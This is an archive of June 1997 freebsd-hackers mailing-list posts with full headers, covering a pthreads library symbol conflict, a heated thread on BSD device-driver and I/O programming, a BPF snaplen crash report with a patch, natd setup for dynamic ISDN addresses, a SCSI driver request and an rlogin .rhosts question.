smtpd006761; Tue Jun 24 05:50:26 1997 Message-ID: <33AF5FD9.FF6D5DF@whistle.com> Date: Mon, 23 Jun 1997 22:49:13 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: WARNING: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk pthreads under the 2.2 system is temporarily broken I thought I had it all and committed and then found a problem. (symbols being multiply defined in the library e.g. _exit.o: 00000000 T __exit <------------------ uthread_exit.o: U __thread_cleanupspecific U __thread_sys_write U __thread_sys_close U __thread_sys_fcntl U __thread_dead U _pthread_cleanup_pop U __thread_kern_sched_state U __thread_fd_table U __thread_queue_deq U _strcat U __thread_link_list U __thread_kern_sig_block U __thread_sys__exit U __thread_dtablesize U __thread_run U __thread_kern_pipe U _setitimer 00000000 T __exit <----------------- 000000cc T __thread_exit 000001c0 T _pthread_exit I need to run now but will fix it after sleep. luckily the threads lib is not really usable under 2.2 an dnot built by default so I doubt anyone is going to get bitten by this., but fixing it is my number 1 priority. In the mean-time while I sleep, if anyone with good knowledge of the build and the linker etc, sees the deliberate mistake, let me know.. I think I left out some mods from theoriginal patch file and will have to recover them from the -current tree where I did check them in originally. julian From owner-freebsd-hackers Mon Jun 23 23:33:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA26576 for hackers-outgoing; Mon, 23 Jun 1997 23:33:39 -0700 (PDT) Received: from aak.anchorage.net (ai-136.anchorage.net [207.14.72.136]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA26567 for ; Mon, 23 Jun 1997 23:33:28 -0700 (PDT) Received: from localhost (abc@localhost) by aak.anchorage.net (8.8.5/8.8.5) with SMTP id WAA07806 for ; Mon, 23 Jun 1997 22:21:55 -0800 (AKDT) X-Authentication-Warning: aak.anchorage.net: abc owned process doing -bs Date: Mon, 23 Jun 1997 22:21:54 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: freebsd-hackers Subject: BSD io Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > What is there to know? Seriously, registers is registers. It's > assumed that if you're going to work on that sort of thing that you'll > already have some experience. all i've done over the past 4 years is driver/OS level io interfaces. and i have a ton of code i'd like to share with BSD. i guess i wish i had a list of all possible levels of i/o interfaces, with the pros, cons and limits of each one, so i could intellingently choose at what level i wanted to port code at. i run across bits and pieces, but i am not sure i have covered all my options. an when i run across new ones, they are heavily clouded with personal opinions. from lkm's, to dev/io, to kernel io, to various scripting languages. i remember i asked once how to read in a character mode from the keyboard, and while i was, as always, humbled by people reaching out to help, i ended up with 3 responses with pages of source code each, and no real clear cut answer. then, on my own i found out i could do: #include and then use cbreak(); OR #include and then use system("stty cbreak"); so i don't know what to think. and for those of you that conquer some aspect of BSD, like driver coding or kernel source debugging, for example, why don't you try to document your efforts and share them with the BSD community? > I for one would be more than happy to talk to you about how to do what > you're talking about, but so far all I've heard you talk about is some > wonderful "visual everything editor", and a lot of what the demo crowd i never said it was wonderful, it's just useful to me. first, i'd like to know exactly how to write a device driver. ie, disconnect any existing driver, plug in a new one, do port i/o, use the driver, disconnect it, and restore the original. i read info relating to other unices, but it's not valid with BSD, many functions are appear to be different. > would call "craptalks". If you can raise some real examples then > we can get specific. i don't know anything about demo crowds. does anyone have any info on the slang lib? or how it compares to ncurses? > Firstly; why on earth do you want to read back from the screen anyway? because i find it more efficient to scan a screen for data entries / error checking than to write code that deals, in a global sense, with each field entered by a cursor. > This is a totally losing idea in almost any circumstance; it's the > sort of thing that beginner assembly programmers do because they've > run out of registers. call it what you want. > I can't actually make any sense out of this at all. Are you saying > that you can't read source code? Or that you don't know how to use > (or learn to use) a source-level debugger? or do you have some deep > spiritual connection with the random movement of data in your system? for one thing, i need RAM tests run on regular intervals to check system integrity. maybe you don't consider these things important to your data aquisition systems, but i do, and it is mandated in my contracts (hardware integrity checks). > There's literally no point whatsover in staring at random pieces of > system memory;interpreting what you see is much easier when you have > the source code sitting in front of you. you guys think you know it all, and got it all figured out, yet i hardly see any documentation of all your knowledge, where's your "write a BSD driver tutorial"? > > no it's not, my files are small, i had few small messages on a > > drive with keywords, and the drive hasn't been written to > > since i disconnected it minutes after the deletion. > > one of many uses for a block editor. > A block editor _will_not_help_you_ for this, other than to perhaps > recover some of the data from the files, and if the files are in text > form, 'strings' will do the job just as well. since when does strings work on deleted files? others say fsbs (whatever) will do the trick. > ufs filesystems don't work _anything_ like the FAT filesystems. Don't > make the mistake of thinking that they have anything at all in common. they each store data in blocks, and consecutively if possible. > An LKM is just a slab of code that gets loaded into the kernel. You > can write device drivers; they're not rocket science. If you feel > that it's too hard, you can pay someone else to do it; several of us > are quite available if there's money in the deal 8) i'm available for $$$ too. and i am a rocket scientist. (BSAE). > just ignore you, and you'll understand we want to help 8) i do - i hope you understand i do to. ------------------------------------------------- FingerPrint BA09868C 1B995204 58410FD3 A5E7B2DA http://www.geocities.com/siliconvalley/way/7747 ------------------------------------------------- From owner-freebsd-hackers Mon Jun 23 23:53:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA28015 for hackers-outgoing; Mon, 23 Jun 1997 23:53:21 -0700 (PDT) Received: from aak.anchorage.net (ai-136.anchorage.net [207.14.72.136]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA28010 for ; Mon, 23 Jun 1997 23:53:17 -0700 (PDT) Received: from localhost (abc@localhost) by aak.anchorage.net (8.8.5/8.8.5) with SMTP id WAA07903 for ; Mon, 23 Jun 1997 22:41:45 -0800 (AKDT) X-Authentication-Warning: aak.anchorage.net: abc owned process doing -bs Date: Mon, 23 Jun 1997 22:41:44 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net cc: freebsd-hackers Subject: BSD io In-Reply-To: <33AEB401.446B9B3D@whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I think you've asked the wrong questions then.. > you don't want to probe ports while the system is running i do, i'd like to set an "inert" flag or something so the kernel isn't bothered by these things. i'd like to be able to take control of the hardware without rebooting the system while some code does hardware diags. > boot from a floppy and have your diagnostic there that's not an option. > BSD will not run on a 186 no? you're kidding. > but a 386sx20 will run ports at 115000 without flow control. i'd say that's pushing it, if there's some truth, i'd bet you'd get errors on a long steady stream. > if you are wanting to use less than 386 machines you need to go > elsewhere. you don't say. > > i see a few generalizations about device drivers, > > but no solid instructions / rules for FreeBSD. > in /usr/share/examples/drivers > are two shell scripts that WRITE A DRIVER FOR YOU my directory is empty, what dist fills the drivers directory? > juat answer the questions then take the output > and fill in the bits you want to add. > > because i am dealing with unique hardware, a2d cards, parallel i/o > > cards, 8530's, that the kernel will know nothing about, and i need > > simple and effective ways of dealing with them. some people say > > UN*X is no good for embedded systems because drivers are such a > > hassle. maybe they are? i don't know. > no they are easy.. you want a driver. > Use the example driver programs > then your application rograms become SO SIMPLE. thanks - i look forward to finding them. > > > learn about what's going on, attach a debugger to the kernel and > > > look at both the source _and_ the data. > with 2 machines hooked together with a serial cable > and the right s/w loaded, > you can single step the 2md machine in the kernel > and examine each line of C as it's run, and look at all variables, > structures etc. > THAT is educational, as it takes into account all the mappings for you. why isn't there a tutorial on the kmem/gdb methods to help people out that want to learn more? things should take matters of days, not weeks. tutorials delayed, is learning denied. ------------------------------------------------- FingerPrint BA09868C 1B995204 58410FD3 A5E7B2DA http://www.geocities.com/siliconvalley/way/7747 ------------------------------------------------- From owner-freebsd-hackers Tue Jun 24 00:20:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA29692 for hackers-outgoing; Tue, 24 Jun 1997 00:20:51 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.51]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA29687 for ; Tue, 24 Jun 1997 00:20:47 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id DAA09827; Tue, 24 Jun 1997 03:20:38 -0400 (EDT) Date: Tue, 24 Jun 1997 03:20:38 -0400 (EDT) From: Brian Mitchell To: Steve Howe cc: freebsd-hackers Subject: Re: BSD io In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, Steve Howe wrote: > i run across bits and pieces, but i am not sure > i have covered all my options. an when i run > across new ones, they are heavily clouded > with personal opinions. > > from lkm's, to dev/io, to kernel io, > to various scripting languages. > > i remember i asked once how to read in a character mode > from the keyboard, and while i was, as always, humbled > by people reaching out to help, i ended up with 3 responses > with pages of source code each, and no real clear cut answer. It is not terribly difficult, you should have been referred to advanced programming in the unix environment which covers this in chapter 11. > > then, on my own i found out i could do: > > #include and then use cbreak(); > OR > #include and then use system("stty cbreak"); > Neither of which really the optimal choice. In case 1, you are using (n)curses when you really dont need to (well, you may need to - or you may not need to. Simply reading 1 char at a time does not mean you need to use ncurses in my opinion). In case 2, you are executing a program you really dont need to - and that particular sequence would be suicide in a privledged program. > so i don't know what to think. > > and for those of you that conquer some aspect of BSD, > like driver coding or kernel source debugging, for example, > why don't you try to document your efforts and share them > with the BSD community? Some people do. I don't think freebsd would even exist if they did not. > > > I for one would be more than happy to talk to you about how to do what > > you're talking about, but so far all I've heard you talk about is some > > wonderful "visual everything editor", and a lot of what the demo crowd > > i never said it was wonderful, it's just useful to me. > first, i'd like to know exactly how to write a device > driver. ie, disconnect any existing driver, plug in > a new one, do port i/o, use the driver, disconnect > it, and restore the original. > > i read info relating to other unices, but it's not valid with > BSD, many functions are appear to be different. Run and buy the design and implementation of bsd44 > > Firstly; why on earth do you want to read back from the screen anyway? > > because i find it more efficient to scan a screen for data entries > / error checking than to write code that deals, in a global sense, > with each field entered by a cursor. This sounds to me to be extremely unportable, although I may be misinterpreting your statement. > you guys think you know it all, and got it all figured out, > yet i hardly see any documentation of all your knowledge, > where's your "write a BSD driver tutorial"? at http://www.freebsd.org Brian Mitchell brian@firehouse.net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt From owner-freebsd-hackers Tue Jun 24 00:22:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA29817 for hackers-outgoing; Tue, 24 Jun 1997 00:22:19 -0700 (PDT) Received: from thorin.hway.ru (root@thorin.hway.ru [194.87.58.130]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA29810 for ; Tue, 24 Jun 1997 00:22:14 -0700 (PDT) Received: from flash.intech.hway.ru (flash.intech.hway.ru [194.87.58.132]) by thorin.hway.ru (8.8.6/8.8.6) with ESMTP id LAA02870; Tue, 24 Jun 1997 11:13:55 +0400 (MSD) Message-Id: <199706240713.LAA02870@thorin.hway.ru> From: "Alexander V. Tischenko" To: "Ian Stephenson" , Subject: Re: BPF bug Date: Tue, 24 Jun 1997 11:10:30 +0400 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1161 MIME-Version: 1.0 Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: 8bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Not so in 2.2.1-RELEASE: libkern.h:static __inline u_int min(u_int a, u_int b) { return (a < b ? a : b);} ---------- > From: Ian Stephenson > To: freebsd-hackers@FreeBSD.ORG > Subject: BPF bug > Date: 23 ÉÀÎÑ 1997 Ç. 16:19 > > In FreeBSD-current/src/sys/net/bpf.c > > static void > catchpacket(d, pkt, pktlen, snaplen, cpfn) > register struct bpf_d *d; > register u_char *pkt; > register u_int pktlen, snaplen; > register void (*cpfn)(const void *, void *, u_int); > { > register struct bpf_hdr *hp; > register int totlen, curlen; > register int hdrlen = d->bd_bif->bif_hdrlen; > /* > * Figure out how many bytes to move. If the packet is > * greater or equal to the snapshot length, transfer that > * much. Otherwise, transfer the whole packet (unless > * we hit the buffer size limit). > */ > totlen = hdrlen + min(snaplen, pktlen); > ... > } > > appears to be doing a signed comparison of insigned ints. > > This definately crashes in 2.1.6 (I can't upgrade yet, so can't > verify this is still a problem) when snaplen = 0xffffffff. > > replacing > totlen = hdrlen + min(snaplen, pktlen); > with > if(snaplen < pktlen) > totlen = hdrlen + snaplen; > else > totlen = hdrlen + pktlen; > fixes the problem for me... > > $an From owner-freebsd-hackers Tue Jun 24 00:34:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA00376 for hackers-outgoing; Tue, 24 Jun 1997 00:34:46 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA00371 for ; Tue, 24 Jun 1997 00:34:40 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id QAA23323; Tue, 24 Jun 1997 16:57:38 +0930 (CST) From: Michael Smith Message-Id: <199706240727.QAA23323@genesis.atrad.adelaide.edu.au> Subject: Re: BSD io In-Reply-To: from Steve Howe at "Jun 23, 97 10:21:54 pm" To: un_x@anchorage.net (Steve Howe) Date: Tue, 24 Jun 1997 16:57:37 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Howe stands accused of saying: > > all i've done over the past 4 years is driver/OS level io > interfaces. and i have a ton of code i'd like to share > with BSD. i guess i wish i had a list of all possible > levels of i/o interfaces, with the pros, cons and limits > of each one, so i could intellingently choose at what > level i wanted to port code at. Only experience will give you a list like that; it'll always be coloured by personal opinion and circumstance, as will your perception of other peoples' lists. > i remember i asked once how to read in a character mode > from the keyboard, and while i was, as always, humbled > by people reaching out to help, i ended up with 3 responses > with pages of source code each, and no real clear cut answer. Well, at least part of the problem is in the questions that you ask. "read in a character mode from the keyboard" doesn't actually _mean_ anything, so it's impossible to give you a useful answer. How about you explain the situation you're trying to handle, rather than coming up with half a solution on your own and having us try to guess at it? > and for those of you that conquer some aspect of BSD, > like driver coding or kernel source debugging, for example, > why don't you try to document your efforts and share them > with the BSD community? We do. We sit here, as the ultimate interactive multimedia information source. Writing stuff down is hard, and the information gets stale faster than you care to imagine. > i don't know anything about demo crowds. > does anyone have any info on the slang lib? > or how it compares to ncurses? >From /usr/ports/devel/libslang/pkg/DESCR : S-Lang is a C programmer's library that includes routines for the rapid development of sophisticated, user friendly, multi-platform applications. The S-Lang library includes the following: Low level tty input routines for reading single characters at a time. Keymap routines for defining keys and manipulating multiple keymaps. High level screen management routines for manipulating both monochrome and color terminals. These routines are very efficient. Low level terminal-independent routines for manipulating the display of a terminal. Routines for reading single line input with line editing and recall capabilities. Searching functions: both ordinary searches and regular expression searches. An embedded stack-based language interpreter with a C-like syntax. A malloc debugging package > > Firstly; why on earth do you want to read back from the screen anyway? > > because i find it more efficient to scan a screen for data entries > / error checking than to write code that deals, in a global sense, > with each field entered by a cursor. Uh. As this message is rated PG, I'll reserve my judgement on that one. > > I can't actually make any sense out of this at all. Are you saying > > that you can't read source code? Or that you don't know how to use > > (or learn to use) a source-level debugger? or do you have some deep > > spiritual connection with the random movement of data in your system? > > for one thing, i need RAM tests run on regular intervals > to check system integrity. maybe you don't consider these > things important to your data aquisition systems, but i do, > and it is mandated in my contracts (hardware integrity checks). Oh, we consider RAM tests vital. You should look back through the BSD archives for all the discussions on RAM problems that have gone past. Unfortunately, RAM tests aren't worth spit in most cases. > > A block editor _will_not_help_you_ for this, other than to perhaps > > recover some of the data from the files, and if the files are in text > > form, 'strings' will do the job just as well. > > since when does strings work on deleted files? > others say fsbs (whatever) will do the trick. fsdb. 'strings' looks for ascii strings in file objects. If you point it at a disk device, it will scan the disk (because it looks like a file), and print everything that looks like ascii off it. > > ufs filesystems don't work _anything_ like the FAT filesystems. Don't > > make the mistake of thinking that they have anything at all in common. > > they each store data in blocks, and consecutively if possible. Half a mark for "blocks" (you fail to make the distinction that UFS uses both blocks and frags), and no marks for "consecutively". -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Jun 24 01:35:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA03145 for hackers-outgoing; Tue, 24 Jun 1997 01:35:11 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA03139 for ; Tue, 24 Jun 1997 01:35:04 -0700 (PDT) Received: from localhost (narvi@localhost) by haldjas.folklore.ee (8.8.4/8.8.4) with SMTP id MAA28501; Tue, 24 Jun 1997 12:05:13 +0300 (EEST) Date: Tue, 24 Jun 1997 12:05:13 +0300 (EEST) From: Narvi To: Julian Elischer cc: hackers@FreeBSD.ORG Subject: Re: WARNING: In-Reply-To: <33AF5FD9.FF6D5DF@whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, Julian Elischer wrote: > pthreads under the 2.2 system is temporarily broken > I thought I had it all and committed and then found a problem. > (symbols being multiply defined in the library > > e.g. > _exit.o: > 00000000 T __exit <------------------ > > uthread_exit.o: > U __thread_cleanupspecific > U __thread_sys_write > U __thread_sys_close > U __thread_sys_fcntl > U __thread_dead > U _pthread_cleanup_pop > U __thread_kern_sched_state > U __thread_fd_table > U __thread_queue_deq > U _strcat > U __thread_link_list > U __thread_kern_sig_block > U __thread_sys__exit > U __thread_dtablesize > U __thread_run > U __thread_kern_pipe > U _setitimer > 00000000 T __exit <----------------- > 000000cc T __thread_exit > 000001c0 T _pthread_exit > > I need to run now but will fix it after sleep. > > luckily the threads lib is not really usable under 2.2 > an dnot built by default so I doubt anyone is going to get bitten > by this., but fixing it is my number 1 priority. I am using it. To a little extent, but still. Well, if you are already in the libc_r, could you also check clarify, why the default Makefiel doesn't include uthread_attr_init? The function pthread_attr_init is quite useful... Sander There is no love, no good, no happiness and no future - all these are just illusions. > > In the mean-time while I sleep, if anyone with good knowledge of the > build and the linker etc, sees the deliberate mistake, > let me know.. > I think I left out some mods from theoriginal patch file > and will have to recover them from the -current tree > where I did check them in originally. > > julian > From owner-freebsd-hackers Tue Jun 24 01:59:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA04170 for hackers-outgoing; Tue, 24 Jun 1997 01:59:41 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA04165 for ; Tue, 24 Jun 1997 01:59:38 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id IAA01299; Tue, 24 Jun 1997 08:59:43 +0200 (CEST) From: Mikael Karpberg Message-Id: <199706240659.IAA01299@ocean.campus.luth.se> Subject: Re: BSD io In-Reply-To: from Steve Howe at "Jun 23, 97 10:41:44 pm" To: un_x@anchorage.net (Steve Howe) Date: Tue, 24 Jun 1997 08:59:42 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Steve Howe: [...snip...] > > BSD will not run on a 186 > > no? you're kidding. > > > but a 386sx20 will run ports at 115000 without flow control. > > i'd say that's pushing it, if there's some truth, i'd > bet you'd get errors on a long steady stream. [...snip...] Hardly pushing it. We ran two gcc compiles at 5MB each on a 386sx16 with 8MB of memory, while at the same time making it push things at 115200 bps on a serial port. Seemed to run smoothly. Can't say 100% we didn't get any errors on the stream on the serial line, but I wouldn't expects so. That's with 16550's chip cards in the 386, ofcourse. /Mikael From owner-freebsd-hackers Tue Jun 24 02:12:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA04993 for hackers-outgoing; Tue, 24 Jun 1997 02:12:20 -0700 (PDT) Received: from aak.anchorage.net (ai-136.anchorage.net [207.14.72.136]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA04986 for ; Tue, 24 Jun 1997 02:12:15 -0700 (PDT) Received: from localhost (abc@localhost) by aak.anchorage.net (8.8.5/8.8.5) with SMTP id BAA09817; Tue, 24 Jun 1997 01:00:20 -0800 (AKDT) X-Authentication-Warning: aak.anchorage.net: abc owned process doing -bs Date: Tue, 24 Jun 1997 01:00:20 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: Michael Smith cc: freebsd-hackers Subject: Re: BSD io In-Reply-To: <199706240727.QAA23323@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Michael Smith wrote: > "read in a character mode from the keyboard" doesn't actually _mean_ > anything, so it's impossible to give you a useful answer. How about > you explain the situation you're trying to handle, rather than coming > up with half a solution on your own and having us try to guess at it? i did - i initially wanted fast char i/o from/to vga, preferably portable, so it seems as if S-Lang would've been the "obvious" choice from the start, but none of you hackers even mentioned it. so "hackers" advice wasn't as good as my hunch. > S-Lang is a C programmer's library that includes routines for the rapid > development of sophisticated, user friendly, multi-platform applications. > The S-Lang library includes the following: > > Low level tty input routines for reading single characters at a time. > Keymap routines for defining keys and manipulating multiple keymaps. > High level screen management routines for manipulating both > monochrome and color terminals. These routines are very > efficient. > Low level terminal-independent routines for manipulating the display > of a terminal. > Routines for reading single line input with line editing and recall > capabilities. > Searching functions: both ordinary searches and regular expression > searches. > An embedded stack-based language interpreter with a C-like syntax. > A malloc debugging package > > > > Firstly; why on earth do you want to read back from the screen anyway? > > because i find it more efficient to scan a screen for data entries > > / error checking (at the end of user input) than to write code that > > deals with all field related functions as each field is entered by a > > cursor. > Uh. As this message is rated PG, I'll reserve my judgement on that one. huh? i have no idea what you are talking about, i spent years fine tuning code and algorithms for certain things .... > Unfortunately, RAM tests aren't worth spit in most cases. unfortunately, i can't make the us government change it's mind all by myself or my opinions. ------------------------------------------------- FingerPrint BA09868C 1B995204 58410FD3 A5E7B2DA http://www.geocities.com/siliconvalley/way/7747 ------------------------------------------------- From owner-freebsd-hackers Tue Jun 24 03:27:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA07376 for hackers-outgoing; Tue, 24 Jun 1997 03:27:15 -0700 (PDT) Received: from hil-img-1.compuserve.com (hil-img-1.compuserve.com [149.174.177.131]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id DAA07371 for ; Tue, 24 Jun 1997 03:27:10 -0700 (PDT) Received: by hil-img-1.compuserve.com (8.6.10/5.950515) id GAA24952; Tue, 24 Jun 1997 06:26:38 -0400 Date: Tue, 24 Jun 1997 06:26:20 -0400 From: Bruce Vandiver <76350.1227@compuserve.com> Subject: SCSI drivers Future Domain TMC 1650, 60, 70, & 1680 with 18C30 & 18C50 chips. To: tech_help_drivers Message-ID: <199706240626_MC2-191C-7DDE@compuserve.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id DAA07372 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I am looking for driver support for my Future Domain SCSI cards. I have a TMC 1680, which is a 16 bit ISA card. The card uses the Future Domain 18C30 chip. Some of these cards may use the older 18C50 chip. The bios date is 1994 (v3.4). I am aware that Future Domain (along with Trantor) was purchased by Adaptec, but they have been very little help to me. I have driver support on other Unix releases including SCO open server, SCO Unixware, & Linux (Slackware 3.1). If no drivers are currently available, I might be interested in funding a developer to port one from Linux or Unixware or develop one from scratch. I can furnish one of these cards, and perhaps just a little money. Any assistance or info you may provide will be greatly appreciated. I know very little about this process. help Thanks; Bruce Vandiver e-mail to: 76350.1227@compuserve.com From owner-freebsd-hackers Tue Jun 24 03:39:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA07901 for hackers-outgoing; Tue, 24 Jun 1997 03:39:58 -0700 (PDT) Received: from smtp.enteract.com (qmailr@char-star.rdist.org [206.54.252.22]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id DAA07893 for ; Tue, 24 Jun 1997 03:39:55 -0700 (PDT) Received: (qmail 29152 invoked from network); 24 Jun 1997 10:38:21 -0000 Received: from enteract.com (mrfoine@206.54.252.1) by char-star.rdist.org with SMTP; 24 Jun 1997 10:38:21 -0000 Date: Tue, 24 Jun 1997 05:38:21 -0500 (CDT) From: Wayne Baety To: Brian Somers cc: Wilko Bulte , FreeBSD hackers list Subject: Re: natd & dynamic adresses via isdn/ppp In-Reply-To: <199706222212.XAA09754@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Brian Somers wrote: > > Hi > > > > Is it possible to use natd in an environment that has changing IP > > addresses to the outside world? Our dialup link is a ISDN/ppp link > > with dynamically configured IP adresses (ISDN/ppp works like a charm > > now BTW) I think he's using bisdn and with bisdn you would be using isdnpppd (a modified ppp daemon). But to use dynamic ip addressing and ip masquerading (natd) 1) enable ipfw functionality (put in kernel config file: options IPFIREWALL, options IPDIVERT and in the routed man pages options IPFORWARDING=1 was mentioned not sure if that is necesssary though) 2) make sure u have natd in your /etc/services I picked 6136 as a tcp divert socket for natd 3) add this to your rules with ipfw: ipfw add 1200 divert 6136 ip from any to any via ppp0. notes: ippp0 is the interface you have bisdn attached to in your bisdnd.cfg but ppp0 is the interface you use for most system utilities via isdn. the 6136 can be any unassigned port in your /etc/services. Pick any value you wish but make sure it doesnt conflict with anything. This same number you put in your firewall rule list. the 1200 after the add rule statement above can be any number; my choice was arbitrary. But I am confused as to whether the divert to natd should come before or after packet filtering rules. At one point I had both the kernel Firewall and the ipfilter add on working simultaneously.... I had used the kernel firewall for the divert sockets. start natd with: natd -s -dynamic -interface ppp0 and all should be fine. Might even want to put that in your rc.local along with ifconfig'ing ppp0 to 10.0.0.1 and up or some other address...doesnt matter, to get a feel of full internet connectivity. With a trick with your named you can make it even seem like an instant connection... (With this setup you get a small delay whenever it makes a reconnection long enough for some tcp timeouts wich creates a longer delay in those programs that dont resend quickly). Another thing you might want to consider doing is blocking netbios (udp 137-139) over your ppp0 connection, especially if you have some win95 machines that have shares available w/o passwords since this would be available to the internet w/o anykind of validation. Email me back if any of this is confusing, Wayne From owner-freebsd-hackers Tue Jun 24 04:23:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA09142 for hackers-outgoing; Tue, 24 Jun 1997 04:23:16 -0700 (PDT) Received: from bofh.co.telenet.pt (oberon.co.telenet.pt [193.219.102.129]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA09134 for ; Tue, 24 Jun 1997 04:23:10 -0700 (PDT) Received: from urano.co.telenet.pt ([193.219.98.8]) by bofh.co.telenet.pt (Netscape Mail Server v1.1) with SMTP id AAA424 for ; Tue, 24 Jun 1997 12:30:20 +0100 From: jose.monteiro@co.telenet.pt (Jose Monteiro) To: hackers@FreeBSD.ORG Subject: Rlogin from win95 to FreeBSD Date: Tue, 24 Jun 1997 10:22:20 GMT Organization: =?ISO-8859-1?Q?TELENET_-_Servi=E7os_de_Telecomunica=E7=F5es_S.A.?= Reply-To: jose.monteiro@co.telenet.pt Message-ID: <33af9ea4.6798229@mail.co.telenet.pt> X-Mailer: Forte Agent 1.0/32.390 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id EAA09135 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, I'm having a problem with rlogin. I want to be able to login from Win95 to a FreeBSD box, without using password, so, I've made the necessary arrangements in $HOME/.rhosts like this: bsd.host.i.want username but when i use a Rlogin client (crt) to login, it always ask me for the password. can anyone help? thnks Jose Monteiro *------José Monteiro ------* | TELENET - Serviços de Telecomunicações S.A. | | Tel:+351 1 3139190 Fax:+351 1 3541988 | | Finger urano@bofh.co.telenet.pt or search key servers | | for my PGP public key | *-------------------------------------------------------* From owner-freebsd-hackers Tue Jun 24 04:34:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA09553 for hackers-outgoing; Tue, 24 Jun 1997 04:34:23 -0700 (PDT) Received: from 